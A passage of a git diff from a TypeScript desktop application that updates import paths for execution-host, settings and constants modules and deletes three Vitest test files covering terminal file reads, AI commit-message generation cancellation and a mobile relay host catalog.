ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { RuntimeNavigationTarget } from '../../../shared/remote-runtime/session-graph/runtime-navigation' import type { RuntimeFileOpenPosition } from '../../../shared/file-access/runtime-editor-file-open' import type { diff --git a/src/main/runtime/files/file-mutation-expectation.ts b/src/main/runtime/files/file-mutation-expectation.ts index e22730d51e6..474052e834e 100644 --- a/src/main/runtime/files/file-mutation-expectation.ts +++ b/src/main/runtime/files/file-mutation-expectation.ts @@ -1,7 +1,7 @@ import { getSshTargetIdForExecutionHost, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { assertSshMutationExpectation, getSshConnectionGeneration diff --git a/src/main/runtime/files/file-target.ts b/src/main/runtime/files/file-target.ts index cc58917aa7d..2bb93207f88 100644 --- a/src/main/runtime/files/file-target.ts +++ b/src/main/runtime/files/file-target.ts @@ -2,7 +2,7 @@ import { joinWorktreeRelativePath, normalizeRuntimeRelativePath } from './paths/runtime-relative-paths' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { GitWorktreeInfo, Worktree } from '../../../shared/worktree/types' import { ExecutionHostNotDispatchableError, diff --git a/src/main/runtime/files/paths/markdown-tab-disk-host.ts b/src/main/runtime/files/paths/markdown-tab-disk-host.ts index d3c778feee0..ceefdf08971 100644 --- a/src/main/runtime/files/paths/markdown-tab-disk-host.ts +++ b/src/main/runtime/files/paths/markdown-tab-disk-host.ts @@ -1,7 +1,7 @@ /** Local workspaces use local disk; runtime environments use their server's file RPCs/compare-write. * Raw SSH routes remain unsupported instead of falling back to client paths. */ import { isBinaryBuffer } from '../../../../shared/file-preview/binary-buffer' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { compareDiskWritePrecondition, diskConflictFromReadFailure, diff --git a/src/main/runtime/files/paths/orca-runtime-read-kitty-file.test.ts b/src/main/runtime/files/paths/orca-runtime-read-kitty-file.test.ts deleted file mode 100644 index bba3d06eb96..00000000000 --- a/src/main/runtime/files/paths/orca-runtime-read-kitty-file.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import { OrcaRuntimeService } from '../../orca-runtime' -import { withDurableRuntimeStore } from '../../orca-runtime-tests/runtime-durable-store-fixture' - -const { readFile } = vi.hoisted(() => ({ readFile: vi.fn() })) -vi.mock('../../terminal/output/terminal-kitty-file-read', () => ({ - readTerminalKittyFile: readFile -})) - -const PTY = 'kitty-file-pty' -const LEAF = '11111111-1111-4111-8111-111111111111' -const WORKSPACE = 'folder:kitty-files' - -// A project-group folder workspace: no repo row backs it, so a Git-only selector never finds it. -function folderWorkspaceStore() { - const folder = { - id: 'kitty-files', - projectGroupId: 'group-1', - name: 'kitty', - folderPath: '/workspace', - linkedTask: null, - comment: '', - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1, - createdAt: 1, - updatedAt: 1 - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: fixture supplies only the store reads workspace resolution makes. - return withDurableRuntimeStore({ - getRepos: () => [], - getRepo: () => undefined, - getFolderWorkspaces: () => [folder], - getFolderWorkspace: (id: string) => (id === folder.id ? folder : undefined), - getAllWorktreeMeta: () => ({}), - getWorktreeMeta: () => undefined, - getWorkspaceSession: () => getDefaultWorkspaceSession(), - setWorkspaceSession: () => {}, - flushOrThrow: () => {} - }) as never -} - -async function fixture(ptyId = PTY, connectionId: string | null = null, worktreeId = WORKSPACE) { - const runtime = new OrcaRuntimeService(folderWorkspaceStore()) - runtime.attachWindow(1) - const handle = runtime.preAllocateHandleForPty(ptyId) - runtime.registerPty(ptyId, worktreeId, connectionId, { - tabId: 'file-tab', - leafId: LEAF, - incarnationId: 'file-incarnation' - }) - await runtime.syncWindowGraph(1, { - tabs: [{ tabId: 'file-tab', worktreeId, title: '', activeLeafId: LEAF, layout: null }], - leaves: [{ tabId: 'file-tab', worktreeId, leafId: LEAF, paneRuntimeId: 1, ptyId }] - }) - return { runtime, handle } -} - -beforeEach(() => { - readFile.mockReset().mockResolvedValue({ base64: 'aW1hZ2U=' }) -}) - -describe('Kitty file execution-host ownership', () => { - it('drops a completed read after the PTY incarnation is replaced', async () => { - const { runtime, handle } = await fixture() - let release: (result: { base64: string }) => void = () => { - throw new Error('read did not start') - } - readFile.mockImplementation( - () => - new Promise<{ base64: string }>((resolve) => { - release = resolve - }) - ) - const pending = runtime.readKittyFile(handle, { path: '/tmp/image' }) - await vi.waitFor(() => expect(readFile).toHaveBeenCalledOnce()) - runtime.registerPty(PTY, WORKSPACE, null, { - tabId: 'file-tab', - leafId: LEAF, - incarnationId: 'new-incarnation' - }) - release({ base64: 'c3RhbGU=' }) - await expect(pending).rejects.toThrow('terminal_handle_stale') - }) -}) diff --git a/src/main/runtime/files/paths/runtime-markdown-tab-operations.ts b/src/main/runtime/files/paths/runtime-markdown-tab-operations.ts index de8aa6d1e49..9d4f65381a0 100644 --- a/src/main/runtime/files/paths/runtime-markdown-tab-operations.ts +++ b/src/main/runtime/files/paths/runtime-markdown-tab-operations.ts @@ -4,7 +4,7 @@ import type { RuntimeMarkdownSaveTabResult } from '../../../../shared/editor/markdown/mobile-markdown-document' import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { readMarkdownTabFromDisk, saveMarkdownTabToDisk, diff --git a/src/main/runtime/files/runtime-file-host.test-fixture.ts b/src/main/runtime/files/runtime-file-host.test-fixture.ts index fbff2d19fdf..05523394615 100644 --- a/src/main/runtime/files/runtime-file-host.test-fixture.ts +++ b/src/main/runtime/files/runtime-file-host.test-fixture.ts @@ -7,7 +7,7 @@ import { getConnectionExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' export function useRuntimeFileHostLifecycle(): void { const originalPlatform = process.platform diff --git a/src/main/runtime/integrations/ai-vault/runtime-session-search-settings.ts b/src/main/runtime/integrations/ai-vault/runtime-session-search-settings.ts index f0da1f72763..b48ff51a983 100644 --- a/src/main/runtime/integrations/ai-vault/runtime-session-search-settings.ts +++ b/src/main/runtime/integrations/ai-vault/runtime-session-search-settings.ts @@ -1,5 +1,5 @@ import { resolveAiVaultSearchSettings } from '../../../../shared/ai-vault/search/ai-vault-search-settings' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { RuntimeStore } from '../../construction/runtime-store-contract' /** After persistence, reach the host-owned index: desktop scanner child or orcad instance. Hosts without one still save without reconstruction. */ diff --git a/src/main/runtime/integrations/automations/runtime-automation-controller.ts b/src/main/runtime/integrations/automations/runtime-automation-controller.ts index e359b2caabb..9a3414c0fbb 100644 --- a/src/main/runtime/integrations/automations/runtime-automation-controller.ts +++ b/src/main/runtime/integrations/automations/runtime-automation-controller.ts @@ -1,6 +1,6 @@ import { hostQualifiedRepoSelector } from '../../workspaces/catalog/runtime-repo-selector' import { RUNTIME_AUTOMATION_PATCH_KEYS } from './runtime-automation-patch-keys' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AutomationService } from '../../../automations/automation-service' import type { Automation, diff --git a/src/main/runtime/integrations/automations/runtime-automation-run-context.ts b/src/main/runtime/integrations/automations/runtime-automation-run-context.ts index 316ed61c2a3..4e0cc254ff1 100644 --- a/src/main/runtime/integrations/automations/runtime-automation-run-context.ts +++ b/src/main/runtime/integrations/automations/runtime-automation-run-context.ts @@ -1,6 +1,6 @@ import type { AutomationDestination } from '../../../../shared/automations/ownership/automation-owner-precondition' import type { RuntimeRepoSelector } from '../../workspaces/catalog/runtime-repo-selector' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../shared/worktree/types' import type { AutomationUpdateInput, diff --git a/src/main/runtime/integrations/git/runtime-git-command-target.ts b/src/main/runtime/integrations/git/runtime-git-command-target.ts index a53972fb07d..412150413e2 100644 --- a/src/main/runtime/integrations/git/runtime-git-command-target.ts +++ b/src/main/runtime/integrations/git/runtime-git-command-target.ts @@ -1,5 +1,8 @@ import type { SourceControlAiSettingsInput } from '../../../../shared/source-control/ai/source-control-ai-operation-resolution' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { GitPushTarget, GitWorktreeInfo, Worktree } from '../../../../shared/worktree/types' import type { GitRuntimeOptions } from '../../../git/command-runner/git-runtime-options' diff --git a/src/main/runtime/integrations/git/runtime-git-generation-admission.test.ts b/src/main/runtime/integrations/git/runtime-git-generation-admission.test.ts deleted file mode 100644 index 97c2fab4fda..00000000000 --- a/src/main/runtime/integrations/git/runtime-git-generation-admission.test.ts +++ /dev/null @@ -1,192 +0,0 @@ -import { setImmediate as nextTurn } from 'node:timers/promises' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import type { RuntimeGitCommandHost, RuntimeGitTarget } from './runtime-git-command-target' - -const mocks = vi.hoisted(() => ({ - getStagedCommitContext: vi.fn(), - gitExecFileAsync: vi.fn(), - getPullRequestDraftContext: vi.fn(), - loadPullRequestLinkedIssue: vi.fn(), - prepareLocalCommitMessageAgentEnv: vi.fn(), - generateCommitMessageFromContext: vi.fn(), - generatePullRequestFieldsFromContext: vi.fn(), - resolveHostedReviewBodyForGeneration: vi.fn() -})) - -const linkedLookup = vi.hoisted(() => ({ run: (): Promise => Promise.resolve(null) })) - -vi.mock('../../../git/source-control/mutations/staged-commit-context', () => ({ - getStagedCommitContext: mocks.getStagedCommitContext -})) -vi.mock('../../../git/command-runner/git-exec-file', async (importOriginal) => ({ - ...(await importOriginal>()), - gitExecFileAsync: mocks.gitExecFileAsync -})) -vi.mock('../../../text-generation/pull-request-context/pull-request-context', () => ({ - getPullRequestDraftContext: mocks.getPullRequestDraftContext -})) -vi.mock('../../../source-control/pull-request-linked-issue', () => ({ - loadPullRequestLinkedIssue: (...args: unknown[]) => { - mocks.loadPullRequestLinkedIssue(...args) - // A mock return observer would handle the rejection being tested. - return linkedLookup.run() - } -})) -vi.mock('../../../text-generation/execution/commit-message-agent-environment', () => ({ - prepareLocalCommitMessageAgentEnv: mocks.prepareLocalCommitMessageAgentEnv -})) -vi.mock('../../../text-generation/commit-message-text-generation', async () => { - const { cancelLocalGeneration } = - await import('../../../text-generation/execution/source-control-generation-lanes') - return { - cancelGenerateCommitMessageLocal: (cwd: string) => cancelLocalGeneration('commit-message', cwd), - generateCommitMessageFromContext: mocks.generateCommitMessageFromContext, - generatePullRequestFieldsFromContext: mocks.generatePullRequestFieldsFromContext - } -}) -vi.mock('../../../source-control/pull-request-template', () => ({ - resolveHostedReviewBodyForGeneration: mocks.resolveHostedReviewBodyForGeneration -})) - -import { RuntimeGitGenerationCommands } from './runtime-git-generation-commands' - -const params = { agentId: 'codex' as const, model: 'gpt-5.5' } -const settingsOverride = { sourceControlAiResolvedParams: params } -const pullRequestContext = { - base: 'main', - branch: 'feature/admission', - commitSummary: 'abc123 feat: test', - changeSummary: 'M README.md', - patch: '+hello', - currentTitle: '', - currentBody: '', - currentDraft: false -} - -function makeTarget(path: string, overrides: Partial = {}): RuntimeGitTarget { - return { - worktree: { - id: 'wt-1', - repoId: 'repo-1', - path, - git: { path, branch: 'main', isBare: false, isMainWorktree: false, head: 'a'.repeat(40) } - } as RuntimeGitTarget['worktree'], - executionHostId: 'local', - ...overrides - } -} - -function makeCommands(target: RuntimeGitTarget): RuntimeGitGenerationCommands { - const host: RuntimeGitCommandHost = { - resolveRuntimeGitTarget: async () => target, - getRuntimeSettings: () => ({}) as GlobalSettings - } - return new RuntimeGitGenerationCommands(host) -} - -describe('RuntimeGitGenerationCommands admission', () => { - beforeEach(() => { - vi.clearAllMocks() - mocks.gitExecFileAsync.mockResolvedValue({ stdout: '', stderr: '' }) - linkedLookup.run = () => Promise.resolve(null) - mocks.resolveHostedReviewBodyForGeneration.mockImplementation(async ({ body }) => body) - mocks.prepareLocalCommitMessageAgentEnv.mockResolvedValue({ ok: true, env: {} }) - mocks.generateCommitMessageFromContext.mockResolvedValue({ success: true, message: 'feat' }) - mocks.generatePullRequestFieldsFromContext.mockResolvedValue({ success: true, fields: {} }) - }) - - it('honors a commit message cancel issued while staged context is loading', async () => { - const stagedContext = Promise.withResolvers() - mocks.getStagedCommitContext.mockReturnValue(stagedContext.promise) - const commands = makeCommands(makeTarget('/repo')) - - const result = commands.generateRuntimeCommitMessage('id:wt-1', settingsOverride) - await vi.waitFor(() => expect(mocks.getStagedCommitContext).toHaveBeenCalledOnce()) - await commands.cancelRuntimeGenerateCommitMessage('id:wt-1') - - await expect(result).resolves.toEqual({ - success: false, - error: 'Generation canceled.', - canceled: true - }) - stagedContext.resolve({ branch: 'main', stagedSummary: 'M\tREADME.md', stagedPatch: '+hello' }) - await nextTurn() - expect(mocks.generateCommitMessageFromContext).not.toHaveBeenCalled() - }) - - describe('linked-issue lifetime', () => { - function commands(): RuntimeGitGenerationCommands { - return makeCommands(makeTarget('/repo')) - } - - const input = { base: 'main', title: '', body: '', draft: false, provider: 'gitlab' as const } - - it.each(['no changes', 'context error', 'template error'])( - 'observes a late lookup rejection after %s', - async (outcome) => { - const issue = Promise.withResolvers() - linkedLookup.run = () => issue.promise - const preparationError = new Error('preparation failed') - mocks.getPullRequestDraftContext.mockResolvedValue(pullRequestContext) - if (outcome === 'no changes') { - mocks.getPullRequestDraftContext.mockResolvedValue(null) - } else if (outcome === 'context error') { - mocks.getPullRequestDraftContext.mockRejectedValue(preparationError) - } else { - mocks.resolveHostedReviewBodyForGeneration.mockRejectedValue(preparationError) - } - const unhandled = vi.fn() - process.on('unhandledRejection', unhandled) - try { - await expect( - commands().generateRuntimePullRequestFields('id:wt-1', input, settingsOverride) - ).resolves.toMatchObject({ - success: false, - error: - outcome === 'no changes' - ? 'No branch changes to summarize.' - : preparationError.message - }) - expect(mocks.loadPullRequestLinkedIssue).toHaveBeenCalledOnce() - issue.reject(new Error('Timed out waiting for a GitLab operation slot.')) - await nextTurn() - expect(unhandled).not.toHaveBeenCalled() - expect(mocks.generatePullRequestFieldsFromContext).not.toHaveBeenCalled() - } finally { - issue.resolve(null) - void issue.promise.catch(() => undefined) - process.off('unhandledRejection', unhandled) - } - } - ) - - it('observes rejection during preparation and preserves the later caller error', async () => { - const issue = Promise.withResolvers() - const preparation = Promise.withResolvers() - const failure = new Error('lookup admission failed') - linkedLookup.run = () => issue.promise - mocks.getPullRequestDraftContext.mockReturnValue(preparation.promise) - const unhandled = vi.fn() - process.on('unhandledRejection', unhandled) - const result = commands() - .generateRuntimePullRequestFields('id:wt-1', input, settingsOverride) - .catch((error: unknown) => error) - try { - await nextTurn() - expect(mocks.getPullRequestDraftContext).toHaveBeenCalledOnce() - issue.reject(failure) - await nextTurn() - expect(unhandled).not.toHaveBeenCalled() - preparation.resolve(pullRequestContext) - expect(await result).toBe(failure) - expect(mocks.generatePullRequestFieldsFromContext).not.toHaveBeenCalled() - } finally { - issue.resolve(null) - preparation.resolve(pullRequestContext) - await result - process.off('unhandledRejection', unhandled) - } - }) - }) -}) diff --git a/src/main/runtime/integrations/git/runtime-git-generation-context.ts b/src/main/runtime/integrations/git/runtime-git-generation-context.ts index f636028dea0..53c069bf699 100644 --- a/src/main/runtime/integrations/git/runtime-git-generation-context.ts +++ b/src/main/runtime/integrations/git/runtime-git-generation-context.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { gitExecFileAsync } from '../../../git/command-runner/git-exec-file' import type { getPullRequestDraftContext } from '../../../text-generation/pull-request-context/pull-request-context' import { mergeLegacyCommitMessageAiIntoSourceControlAi } from '../../../../shared/source-control/ai/settings/source-control-ai-legacy-reconciliation' diff --git a/src/main/runtime/integrations/git/runtime-wsl-background-read-gate.ts b/src/main/runtime/integrations/git/runtime-wsl-background-read-gate.ts index c98b801bc08..be9a4a9eade 100644 --- a/src/main/runtime/integrations/git/runtime-wsl-background-read-gate.ts +++ b/src/main/runtime/integrations/git/runtime-wsl-background-read-gate.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { assertWslUncPathRunning } from '../../../wsl/filesystem/wsl-unc-access-gate' /** diff --git a/src/main/runtime/integrations/github/runtime-github-issue-comment-commands.ts b/src/main/runtime/integrations/github/runtime-github-issue-comment-commands.ts index 574f30d993d..a1546faf888 100644 --- a/src/main/runtime/integrations/github/runtime-github-issue-comment-commands.ts +++ b/src/main/runtime/integrations/github/runtime-github-issue-comment-commands.ts @@ -14,7 +14,7 @@ import { } from '../../../github/client/create/add-pr-review-comment' import { createIssue } from '../../../github/issues/issue-create' import { updateIssue } from '../../../github/issues/issue-update' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { GitHubAttachmentTarget } from '../../../../shared/rpc-contract/github/github-attachment-params' import { uploadGitHubImage } from '../../../github/attachments/image-attachment-upload' import { diff --git a/src/main/runtime/integrations/github/runtime-github-repository-query-commands.ts b/src/main/runtime/integrations/github/runtime-github-repository-query-commands.ts index 673b4c56aba..9bbd99ed332 100644 --- a/src/main/runtime/integrations/github/runtime-github-repository-query-commands.ts +++ b/src/main/runtime/integrations/github/runtime-github-repository-query-commands.ts @@ -16,7 +16,7 @@ import { import { getRateLimit } from '../../../github/api/rate-limit' import { resolveGhAccountRequiredHost } from '../../../github/accounts/account-binding-required-host' import { getWorkItemDetails } from '../../../github/work-items/work-item-details' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' type LocalGitArgs = [] | [LocalProjectGhExecOptions] diff --git a/src/main/runtime/integrations/github/runtime-github-review-mutation-commands.ts b/src/main/runtime/integrations/github/runtime-github-review-mutation-commands.ts index 9b8b964a213..da7597b8fef 100644 --- a/src/main/runtime/integrations/github/runtime-github-review-mutation-commands.ts +++ b/src/main/runtime/integrations/github/runtime-github-review-mutation-commands.ts @@ -14,7 +14,7 @@ import { setPRCommentReaction } from '../../../github/client/update/pr-comment-r import { setPRFileViewed } from '../../../github/client/update/pr-file-viewed' import { updatePRDetails, updatePRTitle } from '../../../github/client/update/pr-details' import { updatePRState } from '../../../github/client/update/pr-state' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' type LocalGitArgs = [] | [LocalProjectGhExecOptions] diff --git a/src/main/runtime/integrations/github/runtime-github-review-query-commands.ts b/src/main/runtime/integrations/github/runtime-github-review-query-commands.ts index bfcddef6c1b..8a09631f60b 100644 --- a/src/main/runtime/integrations/github/runtime-github-review-query-commands.ts +++ b/src/main/runtime/integrations/github/runtime-github-review-query-commands.ts @@ -7,7 +7,7 @@ import { getPRCheckDetails } from '../../../github/client/check/get-pr-check-det import { getPRChecks } from '../../../github/client/check/get-pr-checks' import { getPRComments } from '../../../github/client/fetch/get-pr-comments' import { getPRFileContents } from '../../../github/pull-requests/files/pull-request-file-contents' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import type { GitHubPRRefreshReason } from '../../../../shared/github/pull-requests/refresh/pull-request-refresh-types' type LocalGitArgs = [] | [LocalProjectGhExecOptions] diff --git a/src/main/runtime/integrations/gitlab/runtime-gitlab-mutation-commands.ts b/src/main/runtime/integrations/gitlab/runtime-gitlab-mutation-commands.ts index d8ba87198c2..6c2e6b3a59f 100644 --- a/src/main/runtime/integrations/gitlab/runtime-gitlab-mutation-commands.ts +++ b/src/main/runtime/integrations/gitlab/runtime-gitlab-mutation-commands.ts @@ -20,7 +20,7 @@ import { import { getJobTrace, retryJob } from '../../../gitlab/pipelines/pipeline-job-mutations' import { updateIssue } from '../../../gitlab/issues/issue-update' import { updateMR } from '../../../gitlab/merge-requests/merge-request-update' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' type LocalGitArgs = [] | [{ wslDistro?: string }] diff --git a/src/main/runtime/integrations/gitlab/runtime-gitlab-query-commands.ts b/src/main/runtime/integrations/gitlab/runtime-gitlab-query-commands.ts index 316046e3234..872efc90d7e 100644 --- a/src/main/runtime/integrations/gitlab/runtime-gitlab-query-commands.ts +++ b/src/main/runtime/integrations/gitlab/runtime-gitlab-query-commands.ts @@ -24,7 +24,7 @@ import { type GitLabIssueListState } from '../../../gitlab/requests/gitlab-preload-args' import { getWorkItemDetails } from '../../../gitlab/work-items/work-item-details' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' type LocalGitArgs = [] | [{ wslDistro?: string }] diff --git a/src/main/runtime/integrations/skill/orca-runtime-agent-skill-share.test.ts b/src/main/runtime/integrations/skill/orca-runtime-agent-skill-share.test.ts index ceb18f5f7fb..efc6313e543 100644 --- a/src/main/runtime/integrations/skill/orca-runtime-agent-skill-share.test.ts +++ b/src/main/runtime/integrations/skill/orca-runtime-agent-skill-share.test.ts @@ -5,7 +5,7 @@ import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { installFakeAppEnvironment } from '../../../../../config/scripts/test-runtime/environment/vitest-host-ports-setup' import type { AgentSkillShareRequest } from '../../../../shared/skills/sharing/agent-skill-sharing-contract' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import type { DiscoveredSkill } from '../../../../shared/skills/discovery/skills' import { extractSkillBundleArchive } from '../../../skills/bundle-archive/skill-bundle-extraction' import { SkillCloudRequestError } from '../../../skills/cloud/skill-cloud-request-error' diff --git a/src/main/runtime/integrations/skill/runtime-skill-command-contract.ts b/src/main/runtime/integrations/skill/runtime-skill-command-contract.ts index 64ab5c44cf3..58263f5b9e7 100644 --- a/src/main/runtime/integrations/skill/runtime-skill-command-contract.ts +++ b/src/main/runtime/integrations/skill/runtime-skill-command-contract.ts @@ -3,7 +3,7 @@ import type { AgentSkillShareRequest } from '../../../../shared/skills/sharing/agent-skill-sharing-contract' import type { DiscoveredSkill } from '../../../../shared/skills/discovery/skills' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { SkillBundleInstallPreview, SkillBundleInstallPreviewRequest, diff --git a/src/main/runtime/integrations/skill/runtime-skill-install-authority.ts b/src/main/runtime/integrations/skill/runtime-skill-install-authority.ts index 3af99643d4c..1f2ae0313fe 100644 --- a/src/main/runtime/integrations/skill/runtime-skill-install-authority.ts +++ b/src/main/runtime/integrations/skill/runtime-skill-install-authority.ts @@ -8,7 +8,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import type { SkillInstallDestinationAuthority } from '../../../skills/install/skill-install-destinations' diff --git a/src/main/runtime/mobile-desktop-relay/mobile-relay-host-catalog.ts b/src/main/runtime/mobile-desktop-relay/mobile-relay-host-catalog.ts index 9fe98bba9fb..7bf46d6e399 100644 --- a/src/main/runtime/mobile-desktop-relay/mobile-relay-host-catalog.ts +++ b/src/main/runtime/mobile-desktop-relay/mobile-relay-host-catalog.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { MobileRelayHostsListResult, MobileRelayHostWorktreesResult, diff --git a/src/main/runtime/mobile-desktop-relay/mobile-relay-host-descriptions.ts b/src/main/runtime/mobile-desktop-relay/mobile-relay-host-descriptions.ts index bda160f8166..147d7066c69 100644 --- a/src/main/runtime/mobile-desktop-relay/mobile-relay-host-descriptions.ts +++ b/src/main/runtime/mobile-desktop-relay/mobile-relay-host-descriptions.ts @@ -1,5 +1,5 @@ import { DELEGATED_MOBILE_DEVICES_RUNTIME_CAPABILITY } from '../../../shared/remote-runtime/pairing/delegated-mobile-device-contract' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { describePairedServerHosts } from '../../../shared/remote-runtime/host-catalog/paired-server-hosts' import type { MobileRelayHost, diff --git a/src/main/runtime/mobile-desktop-relay/on-demand-server-worktree-rows.test.ts b/src/main/runtime/mobile-desktop-relay/on-demand-server-worktree-rows.test.ts deleted file mode 100644 index 65df847a0dc..00000000000 --- a/src/main/runtime/mobile-desktop-relay/on-demand-server-worktree-rows.test.ts +++ /dev/null @@ -1,197 +0,0 @@ -// Run the catalog contract against per-request fetching instead of main-owned live rows. -import { describe, expect, it, vi } from 'vitest' -import { DELEGATED_MOBILE_DEVICES_RUNTIME_CAPABILITY } from '../../../shared/remote-runtime/pairing/delegated-mobile-device-contract' -import { RUNTIME_PROTOCOL_VERSION } from '../../../shared/remote-runtime/protocol/protocol-version' -import { - runtimeEnvironmentStatusFromSnapshot, - type RuntimeHostStatusSnapshot -} from '../../../shared/remote-runtime/host-status/runtime-host-status' -import type { RuntimeRpcResponse } from '../../../shared/remote-runtime/rpc/runtime-rpc-envelope' -import type { RuntimeStatus } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import type { SshConnectionState } from '../../../shared/remote-runtime/ssh/ssh-types' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' - -import type { MobileDesktopRelayHosts } from './mobile-desktop-relay-hosts' -import { MobileRelayHostCatalog } from './mobile-relay-host-catalog' -import { OnDemandServerWorktreeRows } from './on-demand-server-worktree-rows' - -function answer(capable: boolean): RuntimeStatus { - return { - runtimeId: 'runtime-a', - rendererGraphEpoch: 0, - graphStatus: 'ready', - authoritativeWindowId: null, - liveTabCount: 0, - liveLeafCount: 0, - runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION, - capabilities: capable ? [DELEGATED_MOBILE_DEVICES_RUNTIME_CAPABILITY] : [] - } -} - -function snapshot( - environmentId: string, - contact: 'live' | 'unreachable' | 'never-answered', - capable = true -): RuntimeHostStatusSnapshot { - return { - environmentId, - pairingRevision: 1, - sequence: 1, - checkedAt: 1, - status: contact === 'never-answered' ? null : answer(capable), - verification: contact === 'live' ? 'verified' : 'unavailable', - transport: contact === 'live' ? 'ready' : 'disconnected' - } -} - -function psReply(rows: Record[]): RuntimeRpcResponse { - return { - id: 'ps', - ok: true, - result: { worktrees: rows, totalCount: rows.length, truncated: false }, - _meta: { runtimeId: 'runtime-a' } - } -} - -function fakeHosts( - environments: { - id: string - name: string - snapshot: RuntimeHostStatusSnapshot - orcadDeployment?: { sshTargetId: string } - runtimeId?: string | null - pairedDeviceId?: string - }[] -) { - const state = { - environments, - pairingRevision: 1, - retire: (_environmentId: string) => {}, - sshTargetLabels: new Map(), - sshConnectionStates: new Map() - } - const call = vi.fn() - const hosts: MobileDesktopRelayHosts = { - list: () => ({ - environments: state.environments.map( - ({ id, name, orcadDeployment, runtimeId, pairedDeviceId }) => ({ - id, - name, - orcadDeployment, - pairingRevision: state.pairingRevision, - runtimeId: runtimeId === undefined ? 'runtime-a' : runtimeId, - pairedDeviceId - }) - ), - sshTargetLabels: state.sshTargetLabels, - sshConnectionStates: state.sshConnectionStates, - statusByEnvironmentId: new Map( - state.environments.map((entry) => [ - entry.id, - runtimeEnvironmentStatusFromSnapshot(entry.snapshot) - ]) - ) - }), - resolve: async (environmentId) => ({ - environmentId, - fence: 'unused', - pairing: { v: 2, endpoint: 'ws://server', deviceToken: 'desktop', publicKeyB64: 'k' } - }), - call, - hostsBrowserPage: () => false, - onEnvironmentRetired: (listener) => { - state.retire = listener - return () => {} - }, - onStatusChanged: () => () => {}, - watchChanges: () => ({ close: () => {}, current: () => true }) - } - return { hosts, call, state } -} - -function catalog( - hosts: MobileDesktopRelayHosts, - labels = new Map(), - desktop: { - sessions?: Record> - } = {} -) { - return { - catalog: new MobileRelayHostCatalog({ - hosts, - serverRows: new OnDemandServerWorktreeRows(hosts), - hostLabelOverrides: () => labels, - getWorkspaceSession: (hostId) => { - const session = desktop.sessions?.[hostId] - return session ? { ...getDefaultWorkspaceSession(), ...session } : null - } - }) - } -} - -describe('mobile relay host catalog, fetching on demand', () => { - it('has no rows when re-paired mid-fetch, and the next poll fetches the new server afresh', async () => { - const { hosts, call, state } = fakeHosts([ - { id: 'env', name: 'Box', snapshot: snapshot('env', 'live') } - ]) - let answerOldFetch: (response: RuntimeRpcResponse) => void = () => {} - call.mockReturnValueOnce(new Promise((resolve) => (answerOldFetch = resolve))) - const { catalog: hostCatalog } = catalog(hosts) - const rows = 